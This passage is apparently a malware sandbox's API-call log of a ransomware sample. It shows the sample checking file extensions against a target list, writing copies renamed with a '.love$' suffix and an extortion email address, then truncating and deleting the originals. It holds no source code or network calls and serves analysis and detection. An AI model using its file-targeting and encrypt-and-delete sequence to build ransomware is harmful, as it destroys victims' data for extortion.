lpString2=".dll") returned 1 [0284.692] lstrlenW (lpString=".bz2") returned 4 [0284.704] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.704] lstrlenW (lpString=".7z") returned 3 [0284.704] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0284.704] lstrlenW (lpString=".dbf") returned 4 [0284.704] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0284.704] lstrlenW (lpString=".1cd") returned 4 [0284.704] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0284.704] lstrlenW (lpString=".jpg") returned 4 [0284.704] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0284.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0284.705] lstrlenW (lpString=".doc") returned 4 [0284.705] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.705] lstrlenW (lpString=".docx") returned 5 [0284.705] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.705] lstrlenW (lpString=".pdf") returned 4 [0284.705] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.705] lstrlenW (lpString=".xls") returned 4 [0284.705] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.705] lstrlenW (lpString=".xlsx") returned 5 [0284.705] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.705] lstrlenW (lpString=".ppt") returned 4 [0284.705] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0284.705] lstrlenW (lpString=".zip") returned 4 [0284.705] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.705] lstrlenW (lpString=".rar") returned 4 [0284.705] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.705] lstrlenW (lpString=".bz2") returned 4 [0284.705] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.705] lstrlenW (lpString=".7z") returned 3 [0284.705] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0284.705] lstrlenW (lpString=".dbf") returned 4 [0284.705] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0284.705] lstrlenW (lpString=".1cd") returned 4 [0284.705] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0284.705] lstrlenW (lpString=".jpg") returned 4 [0284.706] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.706] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.706] lstrlenW (lpString="api-ms-win-crt-utility-l1-1-0.dll") returned 33 [0284.706] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0284.707] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fbff14 | out: lpFileSize=0x2fbff14*=19136) returned 1 [0284.707] CloseHandle (hObject=0x370) returned 1 [0284.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x20 [0284.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0284.707] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.707] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0284.709] GetLastError () returned 0x0 [0284.709] ReadFile (in: hFile=0x370, lpBuffer=0x3a08020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a08020*, lpNumberOfBytesRead=0x2fbfecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0284.712] WriteFile (in: hFile=0x374, lpBuffer=0x3a08020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x2fbfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a08020*, lpNumberOfBytesWritten=0x2fbfc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0284.713] ReadFile (in: hFile=0x370, lpBuffer=0x3a08020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a08020*, lpNumberOfBytesRead=0x2fbfecc*=0x0, lpOverlapped=0x0) returned 1 [0284.713] WriteFile (in: hFile=0x374, lpBuffer=0x3a08020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fbfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a08020*, lpNumberOfBytesWritten=0x2fbfc94*=0x116, lpOverlapped=0x0) returned 1 [0284.714] SetEndOfFile (hFile=0x374) returned 1 [0284.714] CloseHandle (hObject=0x374) returned 1 [0284.714] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.714] SetEndOfFile (hFile=0x370) returned 1 [0284.715] CloseHandle (hObject=0x370) returned 1 [0284.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0284.715] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 1 [0284.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0284.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0284.716] lstrlenW (lpString=".doc") returned 4 [0284.716] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.716] lstrlenW (lpString=".docx") returned 5 [0284.716] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.716] lstrlenW (lpString=".pdf") returned 4 [0284.716] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.716] lstrlenW (lpString=".xls") returned 4 [0284.716] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.716] lstrlenW (lpString=".xlsx") returned 5 [0284.716] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.716] lstrlenW (lpString=".ppt") returned 4 [0284.716] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.716] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0284.716] lstrlenW (lpString=".zip") returned 4 [0284.716] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.716] lstrlenW (lpString=".rar") returned 4 [0284.716] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.716] lstrlenW (lpString=".bz2") returned 4 [0284.717] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.717] lstrlenW (lpString=".7z") returned 3 [0284.717] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0284.717] lstrlenW (lpString=".dbf") returned 4 [0284.717] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0284.717] lstrlenW (lpString=".1cd") returned 4 [0284.717] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0284.717] lstrlenW (lpString=".jpg") returned 4 [0284.717] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0284.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0284.717] lstrlenW (lpString=".doc") returned 4 [0284.717] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.717] lstrlenW (lpString=".docx") returned 5 [0284.717] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.717] lstrlenW (lpString=".pdf") returned 4 [0284.717] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.717] lstrlenW (lpString=".xls") returned 4 [0284.717] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.717] lstrlenW (lpString=".xlsx") returned 5 [0284.717] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.717] lstrlenW (lpString=".ppt") returned 4 [0284.717] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0284.717] lstrlenW (lpString=".zip") returned 4 [0284.718] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.718] lstrlenW (lpString=".rar") returned 4 [0284.718] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.718] lstrlenW (lpString=".bz2") returned 4 [0284.718] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.718] lstrlenW (lpString=".7z") returned 3 [0284.718] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0284.718] lstrlenW (lpString=".dbf") returned 4 [0284.718] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0284.718] lstrlenW (lpString=".1cd") returned 4 [0284.718] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0284.718] lstrlenW (lpString=".jpg") returned 4 [0284.718] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.718] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.718] lstrlenW (lpString="ApiClient.dll") returned 13 [0284.718] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0284.719] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fbff14 | out: lpFileSize=0x2fbff14*=162880) returned 1 [0284.719] CloseHandle (hObject=0x370) returned 1 [0284.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20 [0284.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.720] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0284.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0284.721] lstrlenW (lpString=".doc") returned 4 [0284.721] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.721] lstrlenW (lpString=".docx") returned 5 [0284.721] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0284.721] lstrlenW (lpString=".pdf") returned 4 [0284.721] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.721] lstrlenW (lpString=".xls") returned 4 [0284.721] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.721] lstrlenW (lpString=".xlsx") returned 5 [0284.721] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0284.721] lstrlenW (lpString=".ppt") returned 4 [0284.721] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0284.721] lstrlenW (lpString=".zip") returned 4 [0284.721] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.721] lstrlenW (lpString=".rar") returned 4 [0284.721] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.721] lstrlenW (lpString=".bz2") returned 4 [0284.721] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.721] lstrlenW (lpString=".7z") returned 3 [0284.721] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0284.721] lstrlenW (lpString=".dbf") returned 4 [0284.721] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0284.721] lstrlenW (lpString=".1cd") returned 4 [0284.721] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0284.722] lstrlenW (lpString=".jpg") returned 4 [0284.722] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0284.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0284.722] lstrlenW (lpString=".doc") returned 4 [0284.722] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.722] lstrlenW (lpString=".docx") returned 5 [0284.722] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0284.722] lstrlenW (lpString=".pdf") returned 4 [0284.722] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.722] lstrlenW (lpString=".xls") returned 4 [0284.722] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.722] lstrlenW (lpString=".xlsx") returned 5 [0284.722] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0284.722] lstrlenW (lpString=".ppt") returned 4 [0284.722] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0284.722] lstrlenW (lpString=".zip") returned 4 [0284.722] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.722] lstrlenW (lpString=".rar") returned 4 [0284.722] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.722] lstrlenW (lpString=".bz2") returned 4 [0284.722] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.722] lstrlenW (lpString=".7z") returned 3 [0284.722] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0284.722] lstrlenW (lpString=".dbf") returned 4 [0284.723] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0284.723] lstrlenW (lpString=".1cd") returned 4 [0284.723] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0284.723] lstrlenW (lpString=".jpg") returned 4 [0284.723] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.723] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.723] lstrlenW (lpString="AppVCatalog.dll") returned 15 [0284.723] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0284.724] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fbff14 | out: lpFileSize=0x2fbff14*=656088) returned 1 [0284.724] CloseHandle (hObject=0x370) returned 1 [0284.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20 [0284.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0284.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0284.725] lstrlenW (lpString=".doc") returned 4 [0284.725] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.725] lstrlenW (lpString=".docx") returned 5 [0284.725] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0284.725] lstrlenW (lpString=".pdf") returned 4 [0284.725] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.725] lstrlenW (lpString=".xls") returned 4 [0284.725] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.725] lstrlenW (lpString=".xlsx") returned 5 [0284.725] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0284.725] lstrlenW (lpString=".ppt") returned 4 [0284.725] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0284.725] lstrlenW (lpString=".zip") returned 4 [0284.725] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.725] lstrlenW (lpString=".rar") returned 4 [0284.725] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.725] lstrlenW (lpString=".bz2") returned 4 [0284.725] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.725] lstrlenW (lpString=".7z") returned 3 [0284.725] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0284.725] lstrlenW (lpString=".dbf") returned 4 [0284.725] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0284.726] lstrlenW (lpString=".1cd") returned 4 [0284.726] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0284.726] lstrlenW (lpString=".jpg") returned 4 [0284.726] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0284.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0284.726] lstrlenW (lpString=".doc") returned 4 [0284.726] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.726] lstrlenW (lpString=".docx") returned 5 [0284.726] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0284.726] lstrlenW (lpString=".pdf") returned 4 [0284.726] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.726] lstrlenW (lpString=".xls") returned 4 [0284.726] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.726] lstrlenW (lpString=".xlsx") returned 5 [0284.726] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0284.726] lstrlenW (lpString=".ppt") returned 4 [0284.726] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0284.726] lstrlenW (lpString=".zip") returned 4 [0284.726] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.726] lstrlenW (lpString=".rar") returned 4 [0284.726] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.726] lstrlenW (lpString=".bz2") returned 4 [0284.726] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.726] lstrlenW (lpString=".7z") returned 3 [0284.727] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0284.727] lstrlenW (lpString=".dbf") returned 4 [0284.727] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0284.727] lstrlenW (lpString=".1cd") returned 4 [0284.727] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0284.727] lstrlenW (lpString=".jpg") returned 4 [0284.727] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.727] lstrcmpiW (lpString1=".exe", lpString2=".love$") returned -1 [0284.727] lstrlenW (lpString="appvcleaner.exe") returned 15 [0284.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0284.728] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fbff14 | out: lpFileSize=0x2fbff14*=2054872) returned 1 [0284.728] CloseHandle (hObject=0x370) returned 1 [0284.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe")) returned 0x20 [0284.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.729] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[im.online@aol.com].love$")) returned 1 [0284.732] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0284.733] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc64 | out: lpNewFilePointer=0x0) returned 1 [0284.733] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc24 | out: lpNewFilePointer=0x0) returned 1 [0284.733] ReadFile (in: hFile=0x370, lpBuffer=0x3a08058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fbfc30, lpOverlapped=0x0 | out: lpBuffer=0x3a08058*, 